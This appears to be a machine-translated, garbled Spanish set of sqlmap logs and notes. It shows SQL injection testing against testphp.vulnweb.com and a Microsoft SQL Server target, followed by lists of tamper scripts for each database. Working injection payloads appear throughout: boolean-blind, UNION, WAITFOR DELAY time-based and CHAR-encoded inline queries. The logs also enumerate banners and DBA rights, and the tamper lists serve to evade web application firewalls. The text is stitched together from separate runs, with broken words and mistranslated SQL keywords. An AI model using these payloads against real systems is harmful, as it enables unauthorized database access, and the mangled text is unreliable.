[Xx: xx: 14] [INFO] pruebas de inyeccin SQL en GET parmetro 'id'
prueba heurstica (anlisis) mostr que el DBMS de back-end podran ser 'MySQL'.
Vos si
quiera saltarse las cargas tiles de ensayo especficos para otros DBMS? [Y / n]
Y
desea incluir todas las pruebas para extender proporcionado nivel 'MySQL' (1) y
ri
sk (1)? [Y / n] Y
[Xx: xx: 14] 'basado en booleano Y ciega - WHERE o HAVING' [INFO] pruebas
[Xx: xx: 14] [INFO] GET parmetro "id" es "y ciega basada en booleano - WHERE o
HAVI
clusula NG 'inyectable
[Xx: xx: 14] Las pruebas de 'MySQL> [INFO] = 5.0 y basado en el error - clusula
WHERE o HAVING
'
[Xx: xx: 14] [INFO] GET parmetro 'id' es 'MySQL> = 5.0 y basada en el error WHERE o
clusula HAVING inyectable '
[XX: XX: 14] [info] pruebas 'inline' consultas MySQL
[xx: xx: 14] [info] ensayo MySQL 5.0.11> consultas apilados '
[Xx: xx: 14] [INFO] pruebas 'MySQL <5.0.12 consultas apiladas (consulta pesada)'
[Xx: xx: 14] [INFO] pruebas 'MySQL> 5.0.11 y ciega basada en el tiempo'
[Xx: xx: 24] [INFO] GET parmetro 'id' es 'MySQL> 5.0.11 y ciega basada en el
tiempo' en
jectable
[xx: xx: 24] [info] pruebas 'MySQL consulta de unin (NULL) - del 1 al 20
columnas'
[Xx: xx: 24] [INFO] rangos que se extienden de forma automtica para la consulta
UNION tecn inyeccin
pruebas iQue ya que hay al menos otra tcnica de inyeccin potencial encontrado
[Xx: xx: 24] [INFO] ORDER BY tcnica parece ser utilizable. Esto debera reducir
la
el tiempo necesario para encontrar el nmero correcto de columnas de la
consulta. que se extiende de forma automtica t
que cubre la prueba actual de la tcnica de inyeccin consulta UNION
[Xx: xx: 24] [INFO] URL de destino parece tener 3 columnas en la consulta
[Xx: xx: 24] [INFO] GET parmetro 'id' es 'MySQL consulta de unin (NULL) - del
1 al 20 colu
MNS inyectable '
[...]
En caso de que desea omitir las pruebas por parte de sus cargas tiles y / o ttulos
que puede utilizar esta opcin. Por ejemplo, si desea omitir todas las cargas que
tienen REFERENCIA palabra clave dentro, se puede utilizar --test-skip = PUNTO DE
REFERENCIA .
parece que el back-end MySQL DBMS es ''. Quieres saltar cargas tiles de ensayo
sp
ecific para otros DBMSes? [Y / n] Y
para las pruebas restantes, desea incluir todas las pruebas para 'MySQL' que se
extiende
proporcionado (1) Los valores de nivel (1) y el riesgo? [Y / n] Y
[Xx: xx: 13] 'basado en booleano Y ciega - WHERE o HAVING' [INFO] pruebas
[Xx: xx: 13] [INFO] GET parmetro 'artista' parece ser 'Y ciega basada en
booleano WHERE o HAVING 'inyectable
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.0 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.0 o basado en el error - Cuando, en
vista, ORDER BY
o clusula GROUP BY '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY (EXTRACTVALUE) '
[Xx: xx: 13] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en
vista, ORDER BY
o clusula GROUP BY (EXTRACTVALUE) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY (UPDATEXML) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 o basado en el error - Cuando, en
vista, ORDER BY
o clusula GROUP BY (UPDATEXML) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY (EXP) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING
(E
XP) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY (BIGINT sin signo) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.5 o basado en el error - WHERE, HAVING
(B
IGINT signo) '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 y basada en el error - Cuando, en
vista, B ORDEN
Y o clusula GROUP BY '
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 4.1 o basado en el error - WHERE, HAVING'
[Xx: xx: 14] [INFO] pruebas 'MySQL o basados en el error - WHERE o HAVING'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 basado en el error - PROCEDIMIENTO DE
ANLISIS (EXTRACTO
VALOR)'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.0 error basado en - Parmetro
reemplazar'
[Xx: xx: 14] [INFO] pruebas 'MySQL> = 5.1 basado en el error - Parmetro
reemplazar (EXTRACTO
VALOR)'
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.1 basado en el error - Parmetro
reemplazar (UPDATEX
ML) '
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 a errores basa - Parmetro reemplazar
(EXP)'
[Xx: xx: 15] [INFO] pruebas 'MySQL> = 5.5 basado en el error - Parmetro
reemplazar (BIGINT
NO FIRMADO)'
[xx: xx: 15] [info] pruebas 'UNION Genrico consulta (NULL) - del 1 al 20
columnas'
[Xx: xx: 15] [INFO] rangos que se extienden de forma automtica para la consulta
UNION tecn inyeccin
pruebas iQue ya que hay al menos otra tcnica (potencial) encontrado
[Xx: xx: 15] [INFO] ORDER BY tcnica parece ser utilizable. Esto debera reducir
la
el tiempo necesario para encontrar el nmero correcto de columnas de la
consulta. que se extiende de forma automtica t
que cubre la prueba actual de la tcnica de inyeccin consulta UNION
[Xx: xx: 15] [INFO] URL de destino parece tener 3 columnas en la consulta
[Xx: xx: 16] [INFO] Parmetro de "artista" es "UNIN Genrico consulta (NULL) del 1 al 2
0 inyectable columnas '
Parmetro de la "artista" es vulnerable. Quieres seguir midindose los dems
(si
alguna)? [S / N] N
sqlmap identific el siguiente punto (s) de inyeccin con un total de 39 HTTP
(s) de re
misiones:
--Parmetro: artista (GET)
Tipo: ciega a base booleana
Ttulo: Y booleana basada en la ciega - WHERE o HAVING
Carga til: Artista = 1 AND 5707 = 5707
Tipo: consulta UNION
Ttulo: consulta UNION Genrico (NULL) - 3 columnas
Carga til: Artista = -7,983 UNION ALL SELECT CONCAT
(0x716b706271,0x6f6c506a7473764
26d58446f634454616a4c647a6c6a69566e584e454c64666f6861466e697a5069,0x716a786a71),
NULL, NULL-- --[Xx: xx: 16] [INFO] MySQL prueba
[Xx: xx: 16] [INFO] confirmando MySQL
[Xx: xx: 16] [INFO] el back-end DBMS es MySQL
La tecnologa de aplicaciones web: Nginx, PHP 5.3.10
back-end de DBMS: MySQL> = 5.0.0
[Xx: xx: 16] [INFO] datos captados registran en archivos de texto en
"/home/stamparm/.sqlma
p / salida / testphp.vulnweb.com '
sqlmap-shell> -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner
_
___ ___ | | _____ ___ ___ {1.0-dev-2188502}
| _ - | . | | | . '| . |
| ___ | _ | _ | _ | _ | _ | __, | _ |
| _ | | _ | http://sqlmap.org
[!] Aviso legal: Uso de sqlmap para atacar objetivos sin previo mutuo
Carga til: id = 1 UNION ALL SELECT NULL, NULL, CHAR (58) + CHAR (118) +
CHAR (114) + CHAR (1
00) + CHAR (58) + CHAR (70) + CHAR (79) + CHAR (118) + CHAR (106) + CHAR (87) +
CHAR (101) + CHAR (119) +
CHAR (115) + CHAR (114) + CHAR (77) + CHAR (58) + CHAR (111) + CHAR (109) + CHAR
(113) + CHAR (58) Tipo: apilada consultas
Ttulo: consultas de Microsoft SQL Server / Sybase apiladas
Carga til: id = 1; WAITFOR RETRASO '0: 0: 5' Tipo: Y / O-tiempo basado ciegos
ciega basada en el tiempo-Microsoft SQL Server / Sybase: Ttulo
Carga til: id = 1 WAITFOR RETRASO '0: 0: 5' Tipo: consulta en lnea
Ttulo: / Sybase consultas en lnea de Microsoft SQL Server
Carga til: id = (SELECT CHAR (58) + CHAR (118) + CHAR (114) + CHAR (100) +
CHAR (58) + (SELECT
(CASO CUANDO (6382 = 6382) ENTONCES CHAR (49) ELSE CHAR (48) FIN)) + CHAR (58) +
CHAR (111) + CHAR
(109) + CHAR (113) + CHAR (58))
--sistema operativo del servidor Web: Windows XP
La tecnologa de aplicaciones web: ASP, Microsoft IIS 5.1
back-end sistema operativo DBMS: Windows XP Service Pack 2
DBMS de back-end: Microsoft SQL Server 2005
bandera:
--Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 de de 2005 00:33:37
Derechos de autor (c) 1988-2005 Microsoft Corporation
Express Edition en Windows NT 5.1 (Build 2600: Service Pack 2)
--usuario actual: 'sa'
base de datos actual: 'testdb'
DBA usuario actual es: Verdadero
[*] Cerrar desde xx: xx: 52
MySQL
space2randomblank,
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
xforwardedforbetween
bluecoat
charencode
charunicodeencode
concat2concatws
equaltolike
greatest
halfversionedmorekeywords
ifnull2ifisnull
space2morehash
space2mysqldash
space2plus
modsecurityversioned
modsecurityzeroversioned
multiplespaces
securesphere
space2comment
space2hash
nonrecursivereplacement
percentage
randomcase
MSSQL:
sp_password
space2comment
space2dash
space2mssqlblank
space2mysqldash
space2plus
space2randomblank
charencode
charunicodeencode
equaltolike
greatest
unionalltounion
unmagicquotes
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere
MSAccess:
modsecurityversioned
modsecurityzeroversioned
equaltolike
greatest
halfversionedmorekeywords
nonrecursivereplacement
percentage
randomcase
securesphere
between
bluecoat
charencode
charunicodeencode
concat2concatws
space2comment
space2hash
space2morehash
space2mysqldash
space2plus
space2randomblank
unionalltounion
unmagicquotes
versionedkeywords
versionedmorekeywords
ifnull2ifisnull
multiplespaces
PostgreSQL:
xforwardedfor
space2comment
space2plus
space2randomblank
between
charencode
charunicodeencode
equaltolike
greatest
multiplespaces
nonrecursivereplacement
percentage
randomcase
securesphere
between
SQLite:
space2plus
unionalltounion
unmagicquotes
xforwardedfor
ifnull2ifisnull
randomcase
securesphere
space2comment
space2dashmmultiplespaces
nonrecursivereplacement